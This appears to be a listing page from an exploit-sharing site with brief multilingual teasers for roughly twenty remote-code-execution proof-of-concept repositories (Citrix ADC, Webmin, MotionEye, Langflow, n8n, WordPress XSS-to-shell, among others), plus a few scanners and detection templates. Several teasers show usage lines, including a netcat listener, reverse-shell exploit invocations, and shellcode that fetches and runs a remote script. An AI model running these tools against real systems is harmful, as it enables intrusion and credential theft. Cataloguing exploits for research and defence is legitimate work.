CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 This exploit uses addresses and shellcode for Citrix VPX 13.1-48.47. For the full writeup, click here. Usage NASM is required to build the shellcode. root@kitploit: $ sudo apt install nasm The included shellcode will download and run a shell script from a remote https...

CVE-2019-15107

CVE-2019-15107 webmin 或 minisever RCE 脚本用法： 已在 v1.890 上测试，但应该也适用于安装了此后门的其他 webmin 版本。 root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticado en MotionEye = 0.43.1b4 mediante la omisión de la validación del lado del cliente en el campo imagefilename. Uso root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Banderas...

CVE-2025-57833

CVE-2025-57833: Vulnerabilidad de Inyección SQL en Django Este repositorio demuestra y explica la CVE-2025-57833, una vulnerabilidad crítica de inyección SQL en el ORM de Django que afecta las versiones 4.2 anteriores a 4.2.24, 5.1 anteriores a 5.1.12 y 5.2 anteriores a 5.2.6. 🚨 Resumen de la...

Vulnerability was concealed in N-central of N-able

N-able discovered a vulnerability in N-central versions prior to 2026.3.1.14. The vulnerability involves a pre-authentication remote code execution flaw. An attacker can execute arbitrary code on the affected system remotely, without any form of authentication. All installations running on...

CVE-2019-17147

CVE-2019-17147: Explotación del TP-Link TL-WR841N Resumen Este repositorio documenta la ingeniería inversa exhaustiva y la explotación de CVE-2019-17147 , una vulnerabilidad crítica de ejecución remota de código RCE en el router TP-Link TL-WR841N arquitectura MIPSEL. La vulnerabilidad reside en e...

CVE-2026-33017

CVE-2026-33017 - RCE no autenticado en Langflow ⚠️ AVISO: Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. Úselo solo en sistemas de su propiedad o para los que tenga permiso explícito. El autor no se hace responsable del mal uso o daños causados por esta...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution Authenticated RCE via OS Command Injection in Hoverfly ≤ 1.11.3 Vulnerability Overview...

POC-CVE-2025-55182

CVE-2025-55182 - React RSC RCE PoC para la vulnerabilidad de deserialización en el protocolo Flight de React Server Components. ¿Qué es? Next.js 14+ y React 19 usan un protocolo propietario "Flight" para comunicarse entre cliente y servidor. El problema: el servidor carga cualquier módulo sin...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Script de prueba de concepto en Python para desencadenar la ruta RCE CustomMCP de Flowise a través de POST /api/v1/node-load-method/customMCP. ⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no posee o para los...

CVE-2021-27876

CVE-2021-27876 Exploit de RCE sin autenticación para el agente de Veritas Backup Exec CVE-2021-27876/77/78 — omisión de autenticación SHA hacia SYSTEM mediante NDMP CVEs CVE| Descripción| CVSS 3.1 ---|---|--- CVE-2021-27876| Omisión de autenticación mediante manipulación del hash SHA en el...

CVE-2026-54420

CVE-2026-54420 LiteSpeed cPanel ⚡ Uso Simple Utilice este proyecto únicamente en entornos seguros y autorizados, tales como: Máquinas virtuales locales Contenedores Docker Configuraciones de laboratorio aisladas Entornos de pruebas de penetración autorizados Configuración de ejemplo: root@kitploi...

CVE-2024-37054

CVE-2024-37054 — MLflow pyfunc Deserialization RCE Severity: Critical Affected: MLflow 0.9.0 – 2.14.1 Type: Arbitrary code execution via Python pickle deserialization Description mlflow.pyfunc.loadmodel deserializes pythonmodel.pkl from the artifact store without any sanitization. An attacker who...

CVE-2024-6782

CVE-2024-6782 Calibre 远程代码执行（CVE-2024-6782）Improper access control in Calibre 6.9.0 7.14.0 allow unauthenticated attackers to achieve remote code execution...

CVE-2025-43300

📚 CVE-2025-43300 - Análisis Detallado de la Vulnerabilidad 🎯 Resumen La CVE-2025-43300 es una vulnerabilidad de desbordamiento de búfer en el procesamiento de archivos DNG Digital Negative que ocurre debido a una inconsistencia entre los metadatos TIFF y los datos JPEG , permitiendo la ejecución...

CVE-2026-38165-SSTI-

CVE-2026-38165 SSTI Velocity Server-Side Template Injection SSTI in XDocReport allows Remote Code Execution via Apache Velocity engine Bug Definition Overview of the vulnerability Server-Side Template Injection SSTI is a web security vulnerability that allows attackers to inject malicious code in...

XSS2Shell

XSS2Shell ULTIMATE v3.0 Cadena de explotación XSS sin autenticación previa → RCE en WordPress Desarrollado por G0D150NE 📌 Características 🔍 Detección automática de XSS y versión de WordPress 🎯 3 modos: Auto, XSS, Direct 📡 Servidor de callback para capturar credenciales 🐚 WebShell con múltiples...

cve-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Unauthenticated Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE...

CVE-2025-37164

CVE-2025-37164 Existe un problema de ejecución remota de código en HPE OneView. ¿Cómo funciona este método de detección? Esta plantilla detecta la etiqueta de título de OneView, extrae la versión de la variable artifactVersion de JavaScript y marca las instancias que ejecutan versiones inferiores...

cve-2025-55182-scanner

Escáner de Indicadores CVE-2025-55182 Este repositorio proporciona un escáner basado en Python para indicadores de compromiso relacionados con CVE-2025-55182 RCE en React Server Components y el malware multi-etapa específico descrito en el informe de incidentes de Asleepace. Está diseñado para...